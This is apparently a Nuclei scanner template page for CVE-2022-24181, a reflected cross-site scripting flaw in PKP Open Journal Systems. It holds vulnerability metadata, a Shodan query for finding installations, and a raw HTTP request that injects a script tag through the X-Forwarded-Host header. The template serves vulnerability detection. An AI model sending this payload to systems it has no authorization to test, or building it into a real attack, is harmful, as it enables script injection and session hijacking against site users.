CVE-2022-24181: PKP Open Journal Systems 2.4.8-3.3 - Cross-Site Scripting
- Template: CVE-2022-24181
- Name: PKP Open Journal Systems 2.4.8-3.3 - Cross-Site Scripting
- Description: PKP Open Journal Systems 2.4.8 to 3.3 contains a cross-site scripting vulnerability which allows remote attackers to inject arbitrary code via the X-Forwarded-Host Header.
- Impact: Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into web pages viewed by users, leading to potential data theft, session hijacking, or defacement.
- Remediation: Upgrade to a patched version of PKP Open Journal Systems (OJS) or apply the necessary security patches provided by the vendor.
- Severity: medium
- Authors: lucasljm2001, ekrause
- Tags: cve, cve2022, xss, oss, pkp-lib, edb, public_knowledge_project, vuln
- References: https://www.exploit-db.com/exploits/50881, https://github.com/pkp/pkp-lib/issues/7649, https://youtu.be/v8-9evO2oVg, https://nvd.nist.gov/vuln/detail/cve-2022-24181, https://github.com/comrade99/CVE-2022-24181
- Cves: CVE-2022-24181
- Verified: yes
- Max requests: 1
- Directory: http/cves
- Path: http/cves/2022/CVE-2022-24181.yaml
- Digest: 4a0a0047304502201bd80869ab8fbd40bd4299c773b571e377ce39aa67a673698eaed2f801a16f11022100eee6acb4ed1eaffb415ccbae7d47c7ba8156d85e5636c9ec8308cef61612577a
- Created at: 2022-07-09T20:25:40Z
- Updated at: 2026-11-24T02:03:42Z
- Age in days: 1599
- Template url: https://github.com/projectdiscovery/nuclei-templates/blob/main/http/cves/2022/CVE-2022-24181.yaml
Classification
- Cwe: CWE-79
- Cvss score: 6.1
- Cvss vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
- Epss score: 0.0608
- Epss percentile: 0.93582
- Cpe: cpe:2.3:a:public_knowledge_project:open_journal_systems:*:*:*:*:*:*:*:*
Metadata
- Max-request: 1
- Product: open_journal_systems
- Shodan-query: cpe:"cpe:2.3:a:public_knowledge_project:open_journal_systems"
- Vendor: public_knowledge_project
- Verified: yes
Products
| Product | Indexed | Url |
|---|---|---|
| public_knowledge_project:open_journal_systems | yes | /v1/products/public_knowledge_project/open_journal_systems |
Labels
- Name: PKP Open Journal Systems - Reflected XSS
- Impact: Attackers can execute arbitrary scripts in the context of the affected application, leading to session hijacking or defacement.
- Remediation: Update to the latest version of PKP Open Journal Systems or apply security patches addressing header sanitization.
- Vulnerability type: reflected_xss
- Vulnerability impact: client_script_exec
- Requirement type: none
- Labels source: projectdiscovery
- From cve: CVE-2022-24181
- Not known: requirements
```yaml
id: CVE-2022-24181
info:
name: PKP Open Journal Systems 2.4.8-3.3 - Cross-Site Scripting
author: lucasljm2001,ekrause
severity: medium
description: |
PKP Open Journal Systems 2.4.8 to 3.3 contains a cross-site scripting vulnerability which allows remote attackers to inject arbitrary code via the X-Forwarded-Host Header.
impact: |
Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into web pages viewed by users, leading to potential data theft, session hijacking, or defacement.
remediation: |
Upgrade to a patched version of PKP Open Journal Systems (OJS) or apply the necessary security patches provided by the vendor.
reference:
- https://www.exploit-db.com/exploits/50881
- https://github.com/pkp/pkp-lib/issues/7649
- https://youtu.be/v8-9evO2oVg
- https://nvd.nist.gov/vuln/detail/cve-2022-24181
- https://github.com/comrade99/CVE-2022-24181
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
cvss-score: 6.1
cve-id: CVE-2022-24181
cwe-id: CWE-79
epss-score: 0.0608
epss-percentile: 0.93582
cpe: cpe:2.3:a:public_knowledge_project:open_journal_systems:*:*:*:*:*:*:*:*
metadata:
verified: true
max-request: 1
vendor: public_knowledge_project
product: open_journal_systems
shodan-query: cpe:"cpe:2.3:a:public_knowledge_project:open_journal_systems"
tags: cve,cve2022,xss,oss,pkp-lib,edb,public_knowledge_project,vuln
http:
- raw:
- |
GET /iupjournals/index.php/esj HTTP/1.1
Host: {{Hostname}}
X-Forwarded-Host: foo"><script>alert(document.domain)</script><x=".com
matchers-condition: and
matchers:
- type: word
part: body
words:
- '<script>alert(document.domain)</script><x=".com/iupjournals'
- type: word
part: header
words:
- text/html
- type: status
status:
- 200
digest: 4a0a0047304502201bd80869ab8fbd40bd4299c773b571e377ce39aa67a673698eaed2f801a16f11022100eee6acb4ed1eaffb415ccbae7d47c7ba8156d85e5636c9ec8308cef61612577a:922c64590222798bb761d5b6d8e72950
```